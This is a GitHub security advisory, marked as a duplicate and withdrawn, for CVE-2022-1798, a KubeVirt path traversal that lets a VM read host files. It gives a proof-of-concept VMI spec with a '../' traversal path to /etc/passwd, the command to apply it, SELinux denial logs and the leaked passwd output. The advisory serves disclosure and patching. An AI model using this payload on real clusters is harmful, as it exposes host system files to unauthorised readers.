ghsa-cvx8-ppmc-78hm
Vulnerability from github
Duplicate Advisory
This advisory is a duplicate of GHSA-qv98-3369-g364. This link is maintained to preserve external references.
Original Description
Summary As part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.
The read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.
Severity
Moderate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.
Proof of Concept
The initial VMI specifications can be written as such to reproduce the issue:
```
apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 name: containerdisk - containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 path: test3/../../../../../../../../etc/passwd name: containerdisk1 - cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk
``` The VMI can then be started through kubectl apply -f vm-test-ncc.yaml. The requested file is accessible once the VM is up and can be accessed under /dev/vdc.
Depending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure. Restrictions
SELinux may mitigate this vulnerability.
When using a node with selinux, selinux denies the access and the VM start was aborted:
```
19s Warning SyncFailed virtualmachineinstance/vmi-fedora server error. command SyncVMI failed: "preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied"
type=AVC msg=audit(1651828898.296:1266): avc: denied { setattr } for pid=44402 comm="rpc-worker" name="passwd" dev="vda1" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1
```
After making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:
```
$ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...]
```
Further Analysis In order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go
Timeline Date reported: 05/10/2022 Date fixed: N/A Date disclosed: 08/08/2022
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0.20.0"
},
{
"fixed": "0.55.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1798"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-18T19:02:18Z",
"nvd_published_at": "2022-09-15T16:15:00Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references.\n\n## Original Description\n\n**Summary**\nAs part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.\n\nThe read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.\n\n**Severity**\n\nModerate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.\n\n**Proof of Concept**\n\nThe initial VMI specifications can be written as such to reproduce the issue:\n\n```\n\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n name: vmi-fedora\nspec:\n domain:\n devices:\n disks:\n - disk:\n bus: virtio\n name: containerdisk\n - disk:\n bus: virtio\n name: cloudinitdisk\n - disk:\n bus: virtio\n name: containerdisk1\n rng: {}\n resources:\n requests:\n memory: 1024M\n terminationGracePeriodSeconds: 0\n volumes:\n - containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n name: containerdisk\n - containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n path: test3/../../../../../../../../etc/passwd\n name: containerdisk1\n - cloudInitNoCloud:\n userData: |\n #!/bin/sh\n echo \u0027just something to make cirros happy\u0027\n name: cloudinitdisk\n\n\n```\nThe VMI can then be started through kubectl apply -f vm-test-ncc.yaml.\nThe requested file is accessible once the VM is up and can be accessed under /dev/vdc.\n\nDepending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.\nRestrictions \n\nSELinux may mitigate this vulnerability.\n\nWhen using a node with selinux, selinux denies the access and the VM start was aborted:\n\n```\n\n19s Warning SyncFailed virtualmachineinstance/vmi-fedora server error. command SyncVMI failed: \"preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied\"\n\ntype=AVC msg=audit(1651828898.296:1266): avc: denied { setattr } for pid=44402 comm=\"rpc-worker\" name=\"passwd\" dev=\"vda1\" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1\n\n```\n\nAfter making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:\n\n```\n\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n\n```\n\n**Further Analysis**\nIn order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go\n\n**Timeline**\nDate reported: 05/10/2022\nDate fixed: N/A\nDate disclosed: 08/08/2022",
"id": "GHSA-cvx8-ppmc-78hm",
"modified": "2022-09-30T00:44:46Z",
"published": "2022-08-18T19:02:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qv98-3369-g364"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1798"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: KubeVirt arbitrary host file read from the VM",
"withdrawn": "2022-09-30T00:44:46Z"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.